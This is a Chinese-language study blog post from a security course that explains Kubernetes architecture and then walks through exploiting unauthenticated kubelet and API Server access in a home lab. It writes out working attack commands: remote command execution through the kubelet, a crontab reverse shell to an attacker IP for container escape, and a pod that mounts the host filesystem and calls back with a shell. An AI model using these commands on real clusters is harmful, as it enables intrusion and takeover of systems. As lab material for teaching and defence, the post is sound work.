小迪安全v2023学习笔记(九十七天)—— 云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行

文章目录

前记

  • 今天是学习小迪安全的第九十七天,本节课是K8s安全的第一节课,主要是围绕由于配置错误导致某些组件服务的未授权访问

云上攻防------第九十七天

云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行

前置知识

什么是K8s?
  • 参考文章:这一篇 K8S(Kubernetes)我觉得可以了解一下!!! - 木子欢儿 - 博客园

  • 说简单一点,K8s就是一个管理员,能够帮你自动管理很多个标准化的容器,让你的应用程序在任何地方都能够稳定运行

  • 然后它的整体架构如下图所示:

  • 这里有很多个专有名称需要解释一下:

    • Master节点:相当于一个总控制台,它负责整个集群的决策和调度,发现和响应集群的事件。一般会运行如下组件服务:

      • etcd:用于持久化存储 集群中所有的资源对象,API Server提供了操作 etcd的封装接口API,这些API基本上都是对资源对象的操作和监听资源变化的接口
      • API Server:提供资源对象的操作入口,其他组件都需要通过它提供操作的API来操作资源数据,通过对相关的资源数据"全量查询"+ "变化监听",可以实时的完成相关的业务功能
      • Controller Manager集群内部管理控制中心 ,主要是实现 Kubernetes集群的故障检测和恢复的自动化工作。比如Pod的复制和移除,Endpoints对象的创建和更新,Node的发现、管理和状态监控等等都是由 Controller Manager完成
      • Scheduler调度器,负责Pod在集群节点中的调度分配
    • Node节点:分布出去的工作节点,它负责真正的运行Pod,当某个Node节点出现问题而导致宕机时,Master会自动将该节点上的Pod调度到其他节点。一般会运行如下组件服务:

      • kubelet用于执行K8S的命令,也是K8S的核心命令,用于执行K8S的相关指令,负责当前Node节点上的Pod的创建、修改、监控、删除等生命周期管理,同时Kubelet定时"上报"本Node的状态信息到API Server里
      • kube-proxy:是一个代理,充当这多主机通信的代理人 ,前面我们讲过Service实现了跨主机、跨容器之间的网络通信,在技术上就是通过kube-proxy 来实现的,service是在逻辑上对Pod进行了分组,底层是通过kube-proxy进行通信的
      • docker / containerd:Pod下面运行的实际容器应用,早期用docker,目前逐渐推荐直接使用containerd来代替
    • Pod:K8s控制的最小单元,一个Pod就是一个进程,上面可以运行单个或者多个容器,通常是完整的应用或模块服务

    • Service:每个Pod都是独立的整体,分配单独的IP地址,不同Pod之间不能够直接通信,需要通过Service组件进行连接交流

    • Label:一个说明性的标签,不同的Pod具有不同的功能,需要通过Label进行标注,便于后续筛选和查找

    • Replication Controller:存在于Master节点上,负责对Pod的数量进行监测,如果发现有缺失或者多余的Pod,就会自动复制添加或删除

  • K8s大概就是这么个情况,我们这里只是做简单的了解,对于之后的学习打下基础

K8s安全
  • 参考文章:

  • 这三篇文章主要的攻击点都在如下这张图里面:

  • 大致有12个攻击点,主要是集中在内外部访问安全组件安全容器安全管理平台安全 以及镜像安全

    • 内外部访问安全
      • 外部:主要是针对一些未授权访问或者对外服务本身存在的安全问题,比如API Server、etcd、kubelet等
      • 内部:主要是内部横向移动攻击安全
    • 组件安全:这里针对的组件包括服务组件 以及一些第三方组件的安全问题
    • 容器安全:比如拿到了某个Docker容器 或者Pod容器的Shell,可以实行提权、拒绝服务等攻击,也可以尝试容器逃逸到更高层的位置进行下一步攻击
    • 管理平台安全:除了官方推出的Dashboard,还有很多K8s的管理平台,我们可以攻击的点有未授权、弱口令等等
    • 镜像安全:通过上传一些恶意的镜像,让企业去下载利用实现入侵,也成为镜像投毒
  • 小迪这两节课也会围绕这些点去讲解K8s安全的内容

如何判断对方处于K8s?
  • 主要就是看一些K8s的特殊端口是否开放,常见的特征端口如下:
K8s环境搭建
NAME IP 配置
k8s-master 192.168.0.130 >=2G
k8s-node1 192.168.0.131 >=2核
k8s-node2 192.168.0.132 >=20G
  • 当然实战中肯定不止一主两从这么小的K8s集群,这里只是举个最简单的情况来演示

云原生 - K8s安全-Kubelet未授权访问

攻击10250端口:kubelet未授权访问
  • Kublet会在10250/TCP开放端口暴露HTTPS API,一般用于汇报节点状态、拉取Pod日志/指标以及在容器中执行命令等,默认情况下有鉴权

  • 但是如果方便其他人查看,可能会设置AlwaysAllow选项,造成未授权访问

  • 比如这里我们没有设置AlwaysAllow选项,然后访问任意一个node节点的10250端口,他会提示Unauthorized,比如这里我们访问node1

  • 但如果我们配置了这个选项:

shell 复制代码
vim /var/lib/kubelet/config.yaml

# 修改为如下配置
authentication:
	anonymous:
		enabled: true
authorization:
	mode: AlwaysAllow

systemctl restart kubelet
  • 然后我们再访问刚才的页面就会发现,能够获取到很多接口信息:

  • 这里我们之前讲过,可以用Postman去导入然后批量测试,比如我们这里可以去获取运行中的Pod列表:

shell 复制代码
curl -k https://192.168.0.131:10250/runningpods
  • 拿到它的信息为:
json 复制代码
namespace: kube-system
pod: kube-proxy-qxpsl
container: kube-proxy
  • 然后我们尝试在当前容器内执行任意命令:
shell 复制代码
curl -k -XPOST \
  "https://192.168.0.131:10250/run/<namespace>/<pod>/<container>" \
  -d "cmd=id"
  • 当然这里它是处在Docker容器里面的,我们后续还需要进行容器逃逸,这是上节课的内容了

云原生 - K8s安全-API Server未授权访问

  • 当然,除了Kubelet的错误配置可能会造成未授权之外,API Server的错误配置也可能造成未授权
1. 攻击8080端口:API Server(Master)未授权访问
  • 旧版本的k8s的API Server默认会开启两个端口:8080和6443。6443是安全端口,安全端口使用TLS加密;但是8080端口无需认证,仅用于测试。6443端口需要认证,且有 TLS 保护。(k8s<1.16.0为旧版本)
  • 新版本k8s默认已经不开启8080,需要更改相应的配置:
shell 复制代码
vim /etc/kubernetes/manifests/kube-apiserver.yaml

# 添加如下内容:
- --insecure-port=8080  
- --insecure-bind-address=0.0.0.0
  
systemctl restart kubelet
  • but。。。这里依旧没有成功,是因为新版K8s已经不支持该端口访问了,也就是说,1.16及以上的版本不存在该未授权漏洞了

  • 那其实我们也没有演示的必要了,因为基本是遇不到了,如果真的遇到了,我们这里就简单用小迪的案例看看如何利用吧

  • 在添加完这两行配置之后,我们访问8080端口,就能够获取很多接口:

  • 接着就可以利用K8s官方的kubectl工具去获取相应信息,下载地址:安装工具 | Kubernetes

  1. 获取所有主机(nodes)节点:
shell 复制代码
kubctl.exe -s 192.168.0.139.130:8080 get nodes
  1. 获取所有容器(pods)节点:
shell 复制代码
kubectl.exe -s 192.168.139.130:8080 get pods
  1. 创建新的docker容器:
  • 这里的目的是为了后边的容器逃逸做准备
shell 复制代码
kubectl -s 192.168.139.130:8080 create -f xiaodi.yaml





  1. 进入创建的docker容器:
shell 复制代码
kubectl -s 192.168.139.130:8080 --namespace=default exec -it xiaodi bash
  1. 容器逃逸获取宿主机Shell
shell 复制代码
# 把反弹shell命令写进宿主机的计划任务里,那么反弹的shell就是宿主机的shell了
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n" >> /mnt/etc/crontab
  • 等待一会就会收到反弹,但是收到的反弹shell不是master控制端的shell,而是下面的某个node(主机)节点的shell
2. 攻击6443端口:API Server(Master)未授权访问
  • 目前能遇到的是这种,原本6443端口是需要认证才能访问的,直接访问会返回403:

  • 但是一些集群由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令

shell 复制代码
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous
  • 此时再访问6443端口,会发现我们能够获取大量的API接口:

  • 然后我们就可以干坏事了,首先通过如下命令确定是否可匿名调用:

shell 复制代码
curl -k https://<目标>:6443/api
  • 返回ok说明很大概率可以匿名调用,然后我们尝试获取所有pods:

  • 这里能够返回JSON数据,说明已经完全沦陷,我们接着创建恶意的容器:

shell 复制代码
curl -k -X POST https://192.168.0.130:6443/api/v1/namespaces/default/pods \
  -H "Content-Type: application/yaml" \
  -d 'apiVersion: v1
kind: Pod
metadata:
  name: hack2
spec:
  containers:
  - image: ubuntu:22.04
    name: hack
    command: ["/bin/bash","-c"]
    args: ["bash -i >& /dev/tcp/<攻击机IP>/4444 0>&1"]
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory'
  • 回显如上内容,或者回显201都说明创建pods成功,接下来我们监听4444端口,等待pod被创建接收反弹Shell:

  • 这里接收到的是node2的shell,因为我们的pod被挂载到了node2下:

相关推荐
十安_数学好题速析2 小时前
系数调整:四项平方和的最小值攻略
笔记·学习·高考
Mr.Ja2 小时前
【LeetCode 热题 100】No.49—— 字母异位词分组(Java 版)
java·算法·leetcode·字母异位词分组
2401_841495642 小时前
【数据结构】链栈的基本操作
java·数据结构·c++·python·算法·链表·链栈
元亓亓亓2 小时前
SSM--day2--Spring(二)--核心容器&注解开发&Spring整合
java·后端·spring
毕设源码-赖学姐2 小时前
【开题答辩全过程】以 SpringMVC在筑原平面设计定制管理信息系统的应用与实践为例,包含答辩的问题和答案
java·eclipse
程序定小飞3 小时前
基于springboot的蜗牛兼职网的设计与实现
java·数据库·vue.js·spring boot·后端·spring
咖啡Beans3 小时前
RestTemplate调用API的常用写法
java·spring boot·网络协议
RickyWasYoung3 小时前
【笔记】非线性状态空间方程线性化时为什么要以平衡点为基准?
笔记
进击的圆儿3 小时前
【学习笔记02】C++面向对象编程核心技术详解
c++·笔记·学习